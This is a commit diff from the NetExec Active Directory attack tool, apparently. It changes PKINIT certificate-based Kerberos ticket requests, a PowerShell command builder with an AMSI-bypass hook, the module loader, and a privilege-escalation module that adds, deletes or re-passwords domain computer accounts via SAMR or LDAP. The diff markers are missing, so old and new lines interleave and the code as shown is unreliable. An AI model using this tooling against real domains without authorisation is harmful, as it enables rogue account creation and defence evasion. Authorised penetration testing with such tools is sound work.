pkinit = myPKINIT()
if isinstance(pfxpass, str):
pfxpass = pfxpass.encode()
# cryptography requires None (not an empty password) for a pfx without password
privkey, cert, _ = pkcs12.load_key_and_certificates(pfxdata, pfxpass if pfxpass else None)
# a pfx holding only a certificate parses fine, so check the key before the certificate
if privkey is None:
raise Exception("No private key found in the PFX file")
if cert is None:
raise Exception("No certificate found in the PFX file")
pkinit.privkey = _check_rsa_privkey(privkey)
pkinit.certificate = _to_asn1_certificate(cert)
# oscrypto does not seem to support pfx without password, so convert it to PEM using cryptography instead
if not pfxpass:
from cryptography.hazmat.primitives.serialization import pkcs12
from cryptography.hazmat.primitives import serialization
privkey, cert, extra_certs = pkcs12.load_key_and_certificates(pfxdata, None)
pem_key = privkey.private_bytes(
encoding=serialization.Encoding.PEM,
format=serialization.PrivateFormat.TraditionalOpenSSL,
encryption_algorithm=serialization.NoEncryption(),
)
pkinit.privkey = load_private_key(parse_private(pem_key))
pem_cert = cert.public_bytes(
encoding=serialization.Encoding.PEM
)
pkinit.certificate = parse_certificate(pem_cert)
else:
if isinstance(pfxpass, str):
pfxpass = pfxpass.encode()
pkinit.privkeyinfo, pkinit.certificate, pkinit.extra_certs = parse_pkcs12(pfxdata, password=pfxpass)
pkinit.privkey = load_private_key(pkinit.privkeyinfo)
pkinit.setup(dh_params=dh_params)
return pkinit
@@ -143,18 +117,9 @@ class myPKINIT:
def from_pem(certfile, privkeyfile, dh_params=None):
pkinit = myPKINIT()
with open(certfile, "rb") as f:
pkinit.certificate = _load_asn1_certificate(f.read())
pkinit.certificate = parse_certificate(f.read())
with open(privkeyfile, "rb") as f:
keydata = f.read()
try:
try:
privkey = serialization.load_pem_private_key(keydata, password=None)
except ValueError:
privkey = serialization.load_der_private_key(keydata, password=None)
except TypeError as e:
# raised by both loaders when the key is encrypted and no password was given
raise Exception(f"Private key {privkeyfile} is password protected, which is not supported. Decrypt it first with: openssl rsa -in {privkeyfile} -out decrypted.pem") from e
pkinit.privkey = _check_rsa_privkey(privkey)
pkinit.privkey = load_private_key(parse_private(f.read()))
pkinit.setup(dh_params=dh_params)
return pkinit
@@ -164,8 +129,8 @@ class myPKINIT:
def setup(self, dh_params=None):
self.issuer = self.certificate.issuer.native["common_name"]
if dh_params is None:
nxc_logger.display("Generating DH params...")
nxc_logger.display("DH params generated.")
print("Generating DH params...")
print("DH params generated.")
else:
if isinstance(dh_params, dict):
self.diffie = DirtyDH.from_dict(dh_params)
@@ -272,7 +237,7 @@ class myPKINIT:
cms.CMSAttribute({"type": "message_digest", "values": [hashlib.sha1(data).digest()]}), # hash of the data, the data itself will not be signed, but this block of data will be.
]
si["signature_algorithm"] = algos.SignedDigestAlgorithm({"algorithm": "1.2.840.113549.1.1.1"})
si["signature"] = self.privkey.sign(cms.CMSAttributes(si["signed_attrs"]).dump(), padding.PKCS1v15(), hashes.SHA1())
si["signature"] = rsa_pkcs1v15_sign(self.privkey, cms.CMSAttributes(si["signed_attrs"]).dump(), "sha1")
ec = {}
ec["content_type"] = "1.3.6.1.5.2.3.1"
@@ -513,34 +478,23 @@ def pfx_auth(self):
self.logger.info("Loading certificate and key from file")
# Load the certificate and key from file
try:
if self.args.pfx_cert or self.args.pfx_base64:
pfx = self.args.pfx_cert if self.args.pfx_cert else self.args.pfx_base64
ini = myPKINIT.from_pfx(pfx, self.args.pfx_pass, dhparams, bool(self.args.pfx_base64))
elif self.args.pem_cert and self.args.pem_key:
ini = myPKINIT.from_pem(self.args.pem_cert, self.args.pem_key, dhparams)
else:
self.logger.fail("You must either specify a PFX file + optional password or a combination of Cert PEM file and Private key PEM file")
return None
except FileNotFoundError as e:
self.logger.fail(f"Certificate or key file not found: {e.filename}")
return False
except Exception as e:
self.logger.fail(f"Failed to load certificate/key: {e}")
return False
if self.args.pfx_cert or self.args.pfx_base64:
pfx = self.args.pfx_cert if self.args.pfx_cert else self.args.pfx_base64
ini = myPKINIT.from_pfx(pfx, self.args.pfx_pass, dhparams, bool(self.args.pfx_base64))
elif self.args.pem_cert and self.args.pem_key:
ini = myPKINIT.from_pem(self.args.pem_cert, self.args.pem_key, dhparams)
else:
self.logger.fail("You must either specify a PFX file + optional password or a combination of Cert PEM file and Private key PEM file")
return None
username = self.args.username[0]
basename = f"{self.hostname}_{self.host}_{datetime.datetime.now().strftime('%Y-%m-%d_%H%M%S')}-{username}.ccache"
log_ccache = os.path.normpath(os.path.expanduser(f"{NXC_PATH}/logs/{basename}"))
timestamp = datetime.datetime.now().strftime("%Y-%m-%d_%H%M%S").replace(":", "-")
log_ccache = os.path.normpath(os.path.expanduser(f"{NXC_PATH}/logs/{self.hostname}_{self.host}_{timestamp}-{username}.ccache"))
# Request a TGT with the cert data
req = ini.build_asreq(self.domain, username)
self.logger.info("Requesting TGT")
if not self.kdcHost:
self.logger.fail(f"Could not resolve KDC host for domain {self.domain}. Use --kdcHost to specify the domain controller IP")
return False
sock = KerberosClientSocket(KerberosTarget(self.kdcHost))
try:
res = sock.sendrecv(req)
+1 -1
View File
@@ -137,7 +137,7 @@ def create_ps_command(ps_command, force_ps32=False, obfs=False, custom_amsi=None
amsi_bypass = ""
# for readability purposes, we do not do a one-liner
if force_ps32:
if force_ps32: # noqa: SIM108
# https://stackoverflow.com/a/60155248
command = amsi_bypass + f"$functions = {{function Command-ToExecute{{{amsi_bypass + ps_command}}}}}; if ($Env:PROCESSOR_ARCHITECTURE -eq 'AMD64'){{$job = Start-Job -InitializationScript $functions -ScriptBlock {{Command-ToExecute}} -RunAs32; $job | Wait-Job | Receive-Job }} else {{IEX '$functions'; Command-ToExecute}}"
else:
-101
View File
@@ -1,101 +0,0 @@
import contextlib
from impacket.dcerpc.v5 import transport
from impacket.dcerpc.v5.rpcrt import RPC_C_AUTHN_GSS_NEGOTIATE
class NXCRPCConnection:
"""
DCE/RPC over SMB/TCP using the NXC connection's creds; reuse SMB when already
logged in so Kerberos delegation (e.g. S4U2Proxy ST) applies to pipe RPC too.
"""
def __init__(self, connection, force_tcp=False):
self.connection = connection
self.force_tcp = force_tcp
self.dce = None
self.rpc_transport = None
def connect(self, named_pipe, interface_uuid, target_ip=None, auth_level=None, string_binding=None, set_remote_host=None, anonymous_rpc=False):
if string_binding is not None:
self.rpc_transport = self.create_from_string_binding(string_binding, target_ip, set_remote_host, anonymous_rpc)
elif self.force_tcp:
self.rpc_transport = self.create_tcp_transport(target_ip, anonymous_rpc)
else:
self.rpc_transport = self.create_smb_transport(named_pipe, target_ip)
self.dce = self.rpc_transport.get_dce_rpc()
if self.connection.kerberos and not anonymous_rpc:
self.dce.set_auth_type(RPC_C_AUTHN_GSS_NEGOTIATE)
self.dce.connect()
if auth_level is not None:
self.dce.set_auth_level(auth_level)
self.dce.bind(interface_uuid)
return self.dce
def disconnect(self):
if self.dce:
with contextlib.suppress(Exception):
self.dce.disconnect()
self.dce = None
@property
def transport(self):
return self.rpc_transport
def get_smb_connection(self):
if self.rpc_transport and hasattr(self.rpc_transport, "get_smb_connection"):
return self.rpc_transport.get_smb_connection()
return None
def __enter__(self):
return self
def __exit__(self, exc_type, exc_val, exc_tb):
self.disconnect()
return False
def setup_credentials(self, rpc_transport, anonymous_rpc=False):
conn = self.connection
if anonymous_rpc:
rpc_transport.set_credentials("", "", "", "", "", "")
rpc_transport.set_kerberos(False, None)
else:
rpc_transport.set_credentials(conn.username, conn.password if conn.password else "", conn.domain, conn.lmhash, conn.nthash, conn.aesKey)
if conn.kerberos:
rpc_transport.set_kerberos(conn.kerberos, conn.kdcHost)
def create_smb_transport(self, named_pipe, target_ip=None):
conn = self.connection
# Create a new SMB conn if we don't have one already or
# if we are targetting a different IP (e.g. the DC instead of the original host) and therefore need to recreate the conn
if conn.conn is not None and (target_ip is None or conn.host == target_ip):
return transport.SMBTransport(conn.conn.getRemoteHost(), filename=named_pipe, smb_connection=conn.conn)
rpc_transport = transport.SMBTransport(conn.remoteName, conn.port, named_pipe, conn.username, conn.password if conn.password else "", conn.domain, conn.lmhash, conn.nthash, conn.aesKey, doKerberos=conn.kerberos, kdcHost=conn.kdcHost)
if target_ip or conn.host:
rpc_transport.setRemoteHost(target_ip or conn.host)
return rpc_transport
def create_tcp_transport(self, target_ip=None, anonymous_rpc=False):
conn = self.connection
target = target_ip or conn.remoteName
rpc_transport = transport.DCERPCTransportFactory(rf"ncacn_ip_tcp:{target}")
rpc_transport.setRemoteHost(target)
self.setup_credentials(rpc_transport, anonymous_rpc)
return rpc_transport
def create_from_string_binding(self, string_binding, target_ip=None, set_remote_host=None, anonymous_rpc=False):
rpc_transport = transport.DCERPCTransportFactory(string_binding)
if target_ip is not None:
rpc_transport.setRemoteHost(target_ip)
elif set_remote_host is not None:
rpc_transport.setRemoteHost(set_remote_host)
self.setup_credentials(rpc_transport, anonymous_rpc)
return rpc_transport
+8 -34
View File
@@ -4,7 +4,7 @@ import traceback
import sys
from os import listdir
from os.path import basename, dirname
from os.path import dirname
from os.path import join as path_join
from nxc.context import Context
@@ -13,10 +13,6 @@ from nxc.logger import NXCAdapter
from nxc.paths import NXC_PATH
class ModuleOptionsError(Exception):
"""Raised when a module aborts the run from options() (returned False)."""
class ModuleLoader:
def __init__(self, args, db, logger):
self.args = args
@@ -44,40 +40,17 @@ class ModuleLoader:
elif not hasattr(module, "options"):
self.logger.fail(f"{module_path} missing the options function")
module_error = True
elif not hasattr(module, "on_login") and not hasattr(module, "on_admin_login"):
elif not hasattr(module, "on_login") and not (module, "on_admin_login"):
self.logger.fail(f"{module_path} missing the on_login/on_admin_login function(s)")
module_error = True
return not module_error
module_cache = {}
@classmethod
def load_module_file(cls, module_path):
"""Load a module file and return the raw module object with isolated namespace.
Each module gets a unique name to avoid sys.modules collisions that
caused NXCModule class references to be overwritten when loading
multiple modules. Results are cached so each file is only parsed
and executed once regardless of how many targets are scanned.
"""
if module_path not in cls.module_cache:
module_name = f"nxc_module_{basename(module_path)[:-3]}"
spec = importlib.util.spec_from_file_location(module_name, module_path)
module = importlib.util.module_from_spec(spec)
# Register before executing. Modules that define their own impacket
# NDRCALL requests rely on impacket resolving the matching Response
# class via sys.modules[request.__module__] (rpcrt.py), which the
# previous load_module() satisfied implicitly.
sys.modules[module_name] = module
spec.loader.exec_module(module)
cls.module_cache[module_path] = module
return cls.module_cache[module_path]
def load_module(self, module_path):
"""Load a module, initializing it and checking that it has the proper attributes"""
try:
module = self.load_module_file(module_path).NXCModule()
spec = importlib.util.spec_from_file_location("NXCModule", module_path)
module = spec.loader.load_module().NXCModule()
if self.module_is_sane(module, module_path):
return module
@@ -87,6 +60,7 @@ class ModuleLoader:
def init_module(self, module_path):
"""Initialize a module for execution"""
module = None
module = self.load_module(module_path)
if module:
@@ -104,8 +78,7 @@ class ModuleLoader:
key, value = option.split("=", 1)
module_options[str(key).upper()] = value
if module.options(context, module_options) is False:
raise ModuleOptionsError(f"Module {module.name} aborted the run from options()")
module.options(context, module_options)
return module
else:
self.logger.fail(f"Module {module.name.upper()} is not supported for protocol {self.args.protocol}")
@@ -114,7 +87,8 @@ class ModuleLoader:
def get_module_info(self, module_path):
"""Get the path, description, and options from a module"""
try:
module_spec = self.load_module_file(module_path).NXCModule
spec = importlib.util.spec_from_file_location("NXCModule", module_path)
module_spec = spec.loader.load_module().NXCModule
module = {
f"{module_spec.name}": {
+1 -8
View File
@@ -101,12 +101,10 @@ class NXCAdapter(logging.LoggerAdapter):
logging.getLogger("minidump").disabled = True
logging.getLogger("lsassy").disabled = True
logging.getLogger("dploot").disabled = True
logging.getLogger("certipy").disabled = True
logging.getLogger("aardwolf").disabled = True
logging.getLogger("unicrypto").disabled = True
logging.getLogger("asyncio").setLevel(logging.ERROR)
logging.getLogger("neo4j").setLevel(logging.ERROR)
logging.getLogger("pypsrp").setLevel(logging.ERROR)
def format(self, msg, *args, **kwargs):
"""Format msg for output
@@ -180,12 +178,7 @@ class NXCAdapter(logging.LoggerAdapter):
file_creation = False
if not os.path.isfile(output_file):
try:
with open(output_file, "x"):
pass
except FileNotFoundError:
print(f"{colored('[-]', 'red', attrs=['bold'])} Log file path does not exist: {os.path.dirname(output_file)}")
exit(1)
open(output_file, "x") # noqa: SIM115
file_creation = True
file_handler = RotatingFileHandler(output_file, maxBytes=100000, encoding="utf-8")
+252 -225
View File
@@ -1,275 +1,302 @@
import ssl
import ldap3
import sys
from impacket.dcerpc.v5 import samr
from impacket.ldap.ldap import LDAPSessionError, MODIFY_REPLACE
from impacket.dcerpc.v5 import samr, epm, transport
from impacket.dcerpc.v5.rpcrt import RPC_C_AUTHN_GSS_NEGOTIATE
from nxc.helpers.misc import CATEGORY
from nxc.helpers.rpc import NXCRPCConnection
class NXCModule:
"""
Module by CyberCelt: @Cyb3rC3lt
Refactored to use impacket LDAP CRUD operations instead of ldap3.
Initial module:
Initial module:
https://github.com/Cyb3rC3lt/CrackMapExec-Modules
Thanks to the guys at impacket for the original code
"""
name = "add-computer"
description = "Adds or deletes a domain computer via SAMR (SMB) or LDAP"
supported_protocols = ["smb", "ldap"]
description = "Adds or deletes a domain computer"
supported_protocols = ["smb"]
category = CATEGORY.PRIVILEGE_ESCALATION
def options(self, context, module_options):
"""
add-computer: Adds, deletes, or changes the password of a domain computer account.
Uses SAMR when invoked with nxc smb.
NAME Computer name (required). Trailing '$' is added automatically.
PASSWORD Computer password (required for add/changepw).
DELETE Set to delete the computer account.
CHANGEPW Set to change an existing computer's password.
Usage (same syntax for ldap):
nxc smb $DC-IP -u Username -p Password -M add-computer -o NAME="BADPC" PASSWORD="Password1"
nxc smb $DC-IP -u Username -p Password -M add-computer -o NAME="BADPC" DELETE=True
nxc smb $DC-IP -u Username -p Password -M add-computer -o NAME="BADPC" PASSWORD="Password2" CHANGEPW=True
add-computer: Specify add-computer to call the module using smb
NAME: Specify the NAME option to name the Computer to be added
PASSWORD: Specify the PASSWORD option to supply a password for the Computer to be added
DELETE: Specify DELETE to remove a Computer
CHANGEPW: Specify CHANGEPW to modify a Computer password
Usage: nxc smb $DC-IP -u Username -p Password -M add-computer -o NAME="BADPC" PASSWORD="Password1"
nxc smb $DC-IP -u Username -p Password -M add-computer -o NAME="BADPC" DELETE=True
nxc smb $DC-IP -u Username -p Password -M add-computer -o NAME="BADPC" PASSWORD="Password2" CHANGEPW=True
"""
self.delete = "DELETE" in module_options
self.change_pw = False
self.__baseDN = None
self.__computerGroup = None
self.__method = "SAMR"
self.__noAdd = False
self.__delete = False
self.noLDAPRequired = False
if "CHANGEPW" in module_options:
if "NAME" not in module_options or "PASSWORD" not in module_options:
context.log.error("NAME and PASSWORD options are required for CHANGEPW!")
sys.exit(1)
self.change_pw = True
if "DELETE" in module_options:
self.__delete = True
if "NAME" not in module_options:
if "CHANGEPW" in module_options and ("NAME" not in module_options or "PASSWORD" not in module_options):
context.log.error("NAME and PASSWORD options are required!")
sys.exit(1)
elif "CHANGEPW" in module_options:
self.__noAdd = True
if "NAME" in module_options:
self.__computerName = module_options["NAME"]
if self.__computerName[-1] != "$":
self.__computerName += "$"
else:
context.log.error("NAME option is required!")
sys.exit(1)
self.computer_name = module_options["NAME"]
if not self.computer_name.endswith("$"):
self.computer_name += "$"
if "PASSWORD" in module_options:
self.computer_password = module_options["PASSWORD"]
elif not self.delete:
self.__computerPassword = module_options["PASSWORD"]
elif "PASSWORD" not in module_options and not self.__delete:
context.log.error("PASSWORD option is required!")
sys.exit(1)
def on_login(self, context, connection):
self.context = context
self.connection = connection
self.__domain = connection.domain
self.__domainNetbios = connection.domain
self.__kdcHost = connection.kdcHost
self.__username = connection.username
self.__password = connection.password
self.__host = connection.host
self.__port = context.smb_server_port
self.__aesKey = context.aesKey
self.__hashes = context.hash
self.__doKerberos = connection.kerberos
self.__nthash = ""
self.__lmhash = ""
if connection.args.protocol == "smb":
self._do_samr()
elif connection.args.protocol == "ldap":
self._do_ldap()
if context.hash and ":" in context.hash[0]:
hashList = context.hash[0].split(":")
self.__nthash = hashList[-1]
self.__lmhash = hashList[0]
elif context.hash and ":" not in context.hash[0]:
self.__nthash = context.hash[0]
self.__lmhash = "00000000000000000000000000000000"
def _db_remove_credential(self):
try:
db = self.context.db
domain = self.connection.domain
rows = db.get_user(domain, self.computer_name) if hasattr(db, "get_user") else db.get_credentials(filter_term=self.computer_name)
db.remove_credentials([row[0] for row in rows])
except Exception as e:
self.context.log.debug(f"Could not remove credentials from DB: {e}")
# First try to add via SAMR over SMB
self.do_samr_add(context)
def _db_add_credential(self):
self.context.db.add_credential("plaintext", self.connection.domain, self.computer_name, self.computer_password)
# If SAMR fails now try over LDAPS
if not self.noLDAPRequired:
self.do_ldaps_add(connection, context)
def _do_samr(self):
try:
dce = NXCRPCConnection(self.connection).connect(r"\samr", samr.MSRPC_UUID_SAMR)
except Exception as e:
self.context.log.fail(f"Failed to connect to SAMR: {e}")
return
def do_samr_add(self, context):
"""
Connects to a target server and performs various operations related to adding or deleting machine accounts.
try:
self._samr_execute(dce, self.connection.conn.getRemoteName())
finally:
dce.disconnect()
Args:
----
context (object): The context object.
def _samr_execute(self, dce, target_name):
domain = self.connection.domain
Returns:
-------
None
"""
string_binding = epm.hept_map(self.__host, samr.MSRPC_UUID_SAMR, protocol="ncacn_np")
string_binding = string_binding.replace(self.__host, self.__kdcHost) if self.__kdcHost is not None else string_binding
serv_handle = samr.hSamrConnect5(dce, f"\\\\{target_name}\x00", samr.SAM_SERVER_ENUMERATE_DOMAINS | samr.SAM_SERVER_LOOKUP_DOMAIN)["ServerHandle"]
domains = samr.hSamrEnumerateDomainsInSamServer(dce, serv_handle)["Buffer"]["Buffer"]
non_builtin = [d for d in domains if d["Name"].lower() != "builtin"]
rpc_transport = transport.DCERPCTransportFactory(string_binding)
rpc_transport.setRemoteHost(self.__host)
if len(non_builtin) > 1:
matched = [d for d in domains if d["Name"].lower() == domain.lower()]
if len(matched) != 1:
self.context.log.fail(f"Domain '{domain}' not found. Available: {', '.join(d['Name'] for d in domains)}")
return
selected = matched[0]["Name"]
if hasattr(rpc_transport, "set_credentials"):
# This method exists only for selected protocol sequences.
rpc_transport.set_credentials(self.__username, self.__password, self.__domain, self.__lmhash, self.__nthash, self.__aesKey)
rpc_transport.set_kerberos(self.__doKerberos, self.__kdcHost)
dce = rpc_transport.get_dce_rpc()
if self.__doKerberos:
dce.set_auth_type(RPC_C_AUTHN_GSS_NEGOTIATE)
dce.connect()
dce.bind(samr.MSRPC_UUID_SAMR)
samr_connect_response = samr.hSamrConnect5(dce, f"\\\\{self.__kdcHost}\x00", samr.SAM_SERVER_ENUMERATE_DOMAINS | samr.SAM_SERVER_LOOKUP_DOMAIN)
serv_handle = samr_connect_response["ServerHandle"]
samr_enum_response = samr.hSamrEnumerateDomainsInSamServer(dce, serv_handle)
domains = samr_enum_response["Buffer"]["Buffer"]
domains_without_builtin = [domain for domain in domains if domain["Name"].lower() != "builtin"]
if len(domains_without_builtin) > 1:
domain = list(filter(lambda x: x["Name"].lower() == self.__domainNetbios, domains))
if len(domain) != 1:
context.log.highlight("{}".format('This domain does not exist: "' + self.__domainNetbios + '"'))
context.log.highlight("Available domain(s):")
for domain in domains:
context.log.highlight(f" * {domain['Name']}")
raise Exception
else:
selected_domain = domain[0]["Name"]
else:
selected = non_builtin[0]["Name"]
selected_domain = domains_without_builtin[0]["Name"]
domain_sid = samr.hSamrLookupDomainInSamServer(dce, serv_handle, selected)["DomainId"]
domain_handle = samr.hSamrOpenDomain(dce, serv_handle, samr.DOMAIN_LOOKUP | samr.DOMAIN_CREATE_USER, domain_sid)["DomainHandle"]
samr_lookup_domain_response = samr.hSamrLookupDomainInSamServer(dce, serv_handle, selected_domain)
domain_sid = samr_lookup_domain_response["DomainId"]
try:
if self.delete or self.change_pw:
user_handle = self._samr_open_existing(dce, domain_handle, selected, self.connection.username)
context.log.debug(f"Opening domain {selected_domain}...")
samr_open_domain_response = samr.hSamrOpenDomain(dce, serv_handle, samr.DOMAIN_LOOKUP | samr.DOMAIN_CREATE_USER, domain_sid)
domain_handle = samr_open_domain_response["DomainHandle"]
if self.__noAdd or self.__delete:
try:
check_for_user = samr.hSamrLookupNamesInDomain(dce, domain_handle, [self.__computerName])
except samr.DCERPCSessionError as e:
if e.error_code == 0xC0000073:
context.log.highlight(f"{self.__computerName} not found in domain {selected_domain}")
self.noLDAPRequired = True
context.log.exception(e)
user_rid = check_for_user["RelativeIds"]["Element"][0]
if self.__delete:
access = samr.DELETE
message = "delete"
else:
user_handle = self._samr_create(dce, domain_handle, self.connection.username)
if user_handle is None:
return
if self.delete:
samr.hSamrDeleteUser(dce, user_handle)
user_handle = None
self.context.log.highlight(f"Successfully deleted the '{self.computer_name}' Computer account")
self._db_remove_credential()
access = samr.USER_FORCE_PASSWORD_CHANGE
message = "set the password for"
try:
open_user = samr.hSamrOpenUser(dce, domain_handle, access, user_rid)
user_handle = open_user["UserHandle"]
except samr.DCERPCSessionError as e:
if e.error_code == 0xC0000022:
context.log.highlight(f"{self.__username + ' does not have the right to ' + message + ' ' + self.__computerName}")
self.noLDAPRequired = True
context.log.exception(e)
else:
if self.__computerName is not None:
try:
samr.hSamrLookupNamesInDomain(dce, domain_handle, [self.__computerName])
self.noLDAPRequired = True
context.log.highlight("{}".format('Computer account already exists with the name: "' + self.__computerName + '"'))
except samr.DCERPCSessionError as e:
if e.error_code != 0xC0000073:
raise
else:
samr.hSamrSetPasswordInternal4New(dce, user_handle, self.computer_password)
if self.change_pw:
self.context.log.highlight(f"Successfully changed password for '{self.computer_name}'")
else:
user_handle = self._samr_set_workstation_trust(dce, domain_handle, user_handle)
self.context.log.highlight(f"Successfully added '{self.computer_name}' with password '{self.computer_password}'")
self._db_add_credential()
finally:
found_unused = False
while not found_unused:
self.__computerName = self.generateComputerName()
try:
samr.hSamrLookupNamesInDomain(dce, domain_handle, [self.__computerName])
except samr.DCERPCSessionError as e:
if e.error_code == 0xC0000073:
found_unused = True
else:
raise
try:
create_user = samr.hSamrCreateUser2InDomain(
dce,
domain_handle,
self.__computerName,
samr.USER_WORKSTATION_TRUST_ACCOUNT,
samr.USER_FORCE_PASSWORD_CHANGE,
)
self.noLDAPRequired = True
context.log.highlight('Successfully added the machine account: "' + self.__computerName + '" with Password: "' + self.__computerPassword + '"')
except samr.DCERPCSessionError as e:
if e.error_code == 0xC0000022:
context.log.highlight("{}".format('The following user does not have the right to create a computer account: "' + self.__username + '"'))
elif e.error_code == 0xC00002E7:
context.log.highlight("{}".format('The following user exceeded their machine account quota: "' + self.__username + '"'))
context.log.exception(e)
user_handle = create_user["UserHandle"]
if self.__delete:
samr.hSamrDeleteUser(dce, user_handle)
context.log.highlight("{}".format('Successfully deleted the "' + self.__computerName + '" Computer account'))
self.noLDAPRequired = True
user_handle = None
else:
samr.hSamrSetPasswordInternal4New(dce, user_handle, self.__computerPassword)
if self.__noAdd:
context.log.highlight("{}".format('Successfully set the password of machine "' + self.__computerName + '" with password "' + self.__computerPassword + '"'))
self.noLDAPRequired = True
else:
check_for_user = samr.hSamrLookupNamesInDomain(dce, domain_handle, [self.__computerName])
user_rid = check_for_user["RelativeIds"]["Element"][0]
open_user = samr.hSamrOpenUser(dce, domain_handle, samr.MAXIMUM_ALLOWED, user_rid)
user_handle = open_user["UserHandle"]
req = samr.SAMPR_USER_INFO_BUFFER()
req["tag"] = samr.USER_INFORMATION_CLASS.UserControlInformation
req["Control"]["UserAccountControl"] = samr.USER_WORKSTATION_TRUST_ACCOUNT
samr.hSamrSetInformationUser2(dce, user_handle, req)
if not self.noLDAPRequired:
context.log.highlight("{}".format('Successfully added the machine account "' + self.__computerName + '" with Password: "' + self.__computerPassword + '"'))
self.noLDAPRequired = True
if user_handle is not None:
samr.hSamrCloseHandle(dce, user_handle)
samr.hSamrCloseHandle(dce, domain_handle)
samr.hSamrCloseHandle(dce, serv_handle)
if domain_handle is not None:
samr.hSamrCloseHandle(dce, domain_handle)
if serv_handle is not None:
samr.hSamrCloseHandle(dce, serv_handle)
dce.disconnect()
def _samr_set_workstation_trust(self, dce, domain_handle, user_handle):
user_rid = samr.hSamrLookupNamesInDomain(dce, domain_handle, [self.computer_name])["RelativeIds"]["Element"][0]
samr.hSamrCloseHandle(dce, user_handle)
new_handle = samr.hSamrOpenUser(dce, domain_handle, samr.MAXIMUM_ALLOWED, user_rid)["UserHandle"]
req = samr.SAMPR_USER_INFO_BUFFER()
req["tag"] = samr.USER_INFORMATION_CLASS.UserControlInformation
req["Control"]["UserAccountControl"] = samr.USER_WORKSTATION_TRUST_ACCOUNT
samr.hSamrSetInformationUser2(dce, new_handle, req)
return new_handle
def do_ldaps_add(self, connection, context):
"""
Performs an LDAPS add operation.
def _samr_open_existing(self, dce, domain_handle, selected_domain, username):
try:
user_rid = samr.hSamrLookupNamesInDomain(dce, domain_handle, [self.computer_name])["RelativeIds"]["Element"][0]
except samr.DCERPCSessionError as e:
if "STATUS_NONE_MAPPED" in str(e):
self.context.log.fail(f"'{self.computer_name}' not found in domain {selected_domain}")
else:
self.context.log.fail(f"Error looking up {self.computer_name}: {e}")
return None
Args:
----
connection (Connection): The LDAP connection object.
context (Context): The context object.
try:
access = samr.DELETE if self.delete else samr.USER_FORCE_PASSWORD_CHANGE
return samr.hSamrOpenUser(dce, domain_handle, access, user_rid)["UserHandle"]
except samr.DCERPCSessionError as e:
if "STATUS_ACCESS_DENIED" in str(e):
action = "delete" if self.delete else "change password for"
self.context.log.fail(f"{username} does not have the right to {action} '{self.computer_name}'")
else:
self.context.log.fail(f"Error opening {self.computer_name}: {e}")
return None
Returns:
-------
None
def _samr_create(self, dce, domain_handle, username):
try:
samr.hSamrLookupNamesInDomain(dce, domain_handle, [self.computer_name])
self.context.log.fail(f"Computer '{self.computer_name}' already exists")
return None
except samr.DCERPCSessionError as e:
if "STATUS_NONE_MAPPED" not in str(e):
self.context.log.fail(f"Error looking up {self.computer_name}: {e}")
return None
try:
# Doing this call manually because of weird exception handling in https://github.com/fortra/impacket/blob/084aff60df7e8a5784bee3fb6ac74ed9d1362af8/impacket/dcerpc/v5/samr.py#L2591-L2599
request = samr.SamrCreateUser2InDomain()
request["DomainHandle"] = domain_handle
request["Name"] = self.computer_name
request["AccountType"] = samr.USER_WORKSTATION_TRUST_ACCOUNT
request["DesiredAccess"] = samr.USER_FORCE_PASSWORD_CHANGE
return dce.request(request)["UserHandle"]
except samr.DCERPCSessionError as e:
if "STATUS_USER_EXISTS" in str(e):
self.context.log.fail(f"Computer '{self.computer_name}' already exists")
elif "STATUS_ACCESS_DENIED" in str(e):
self.context.log.fail(f"{username} does not have the right to create a computer account")
elif "STATUS_DS_MACHINE_ACCOUNT_QUOTA_EXCEEDED" in str(e):
self.context.log.fail(f"{username} exceeded the machine account quota")
else:
self.context.log.fail(f"Error creating computer: {e}")
return None
def _do_ldap(self):
name = self.computer_name.rstrip("$")
computer_dn = f"CN={name},CN=Computers,{self.connection.baseDN}"
if self.delete:
self._ldap_delete(self.connection.ldap_connection, computer_dn)
elif self.change_pw:
self._ldap_change_password(self.connection.ldap_connection, computer_dn)
else:
self._ldap_add(self.connection.ldap_connection, computer_dn, name)
def _ldap_delete(self, ldap_conn, dn):
try:
ldap_conn.delete(dn)
self.context.log.highlight(f'Successfully deleted the "{self.computer_name}" Computer account')
self._db_remove_credential()
except LDAPSessionError as e:
if "noSuchObject" in str(e):
self.context.log.fail(f'Computer "{self.computer_name}" was not found')
elif "insufficientAccessRights" in str(e):
self.context.log.fail(f'Insufficient rights to delete "{self.computer_name}"')
else:
self.context.log.fail(f'Failed to delete "{self.computer_name}": {e}')
def _ldap_change_password(self, ldap_conn, dn):
try:
encoded_pw = f'"{self.computer_password}"'.encode("utf-16-le")
ldap_conn.modify(dn, {"unicodePwd": [(MODIFY_REPLACE, encoded_pw)]})
self.context.log.highlight(f"Successfully changed password for '{self.computer_name}'")
self._db_add_credential()
except LDAPSessionError as e:
if "noSuchObject" in str(e):
self.context.log.fail(f'Computer "{self.computer_name}" was not found')
elif "insufficientAccessRights" in str(e):
self.context.log.fail(f'Insufficient rights to change password for "{self.computer_name}"')
elif "unwillingToPerform" in str(e):
self.context.log.fail(f'Server unwilling to change password for "{self.computer_name}"')
else:
self.context.log.fail(f'Failed to change password for "{self.computer_name}": {e}')
def _ldap_add(self, ldap_conn, dn, name):
fqdn = f"{name}.{self.connection.domain}"
Raises:
------
None
"""
ldap_domain = connection.domain.replace(".", ",dc=")
spns = [
f"HOST/{name}",
f"HOST/{fqdn}",
f"RestrictedKrbHost/{name}",
f"RestrictedKrbHost/{fqdn}",
f"HOST/{self.__computerName}",
f"HOST/{self.__computerName}.{connection.domain}",
f"RestrictedKrbHost/{self.__computerName}",
f"RestrictedKrbHost/{self.__computerName}.{connection.domain}",
]
ucd = {
"dnsHostName": f"{self.__computerName}.{connection.domain}",
"userAccountControl": 0x1000,
"servicePrincipalName": spns,
"sAMAccountName": self.__computerName,
"unicodePwd": f"{self.__computerPassword}".encode("utf-16-le")
}
tls = ldap3.Tls(validate=ssl.CERT_NONE, version=ssl.PROTOCOL_TLSv1_2, ciphers="ALL:@SECLEVEL=0")
ldap_server = ldap3.Server(connection.host, use_ssl=True, port=636, get_info=ldap3.ALL, tls=tls)
c = ldap3.Connection(ldap_server, f"{connection.username}@{connection.domain}", connection.password)
c.bind()
try:
ldap_conn.add(
dn,
["top", "person", "organizationalPerson", "user", "computer"],
{
"dnsHostName": fqdn,
"userAccountControl": 0x1000,
"servicePrincipalName": spns,
"sAMAccountName": self.computer_name,
"unicodePwd": f'"{self.computer_password}"'.encode("utf-16-le"),
},
)
self.context.log.highlight(f'Successfully added "{self.computer_name}" with password "{self.computer_password}"')
self._db_add_credential()
except LDAPSessionError as e:
if "entryAlreadyExists" in str(e):
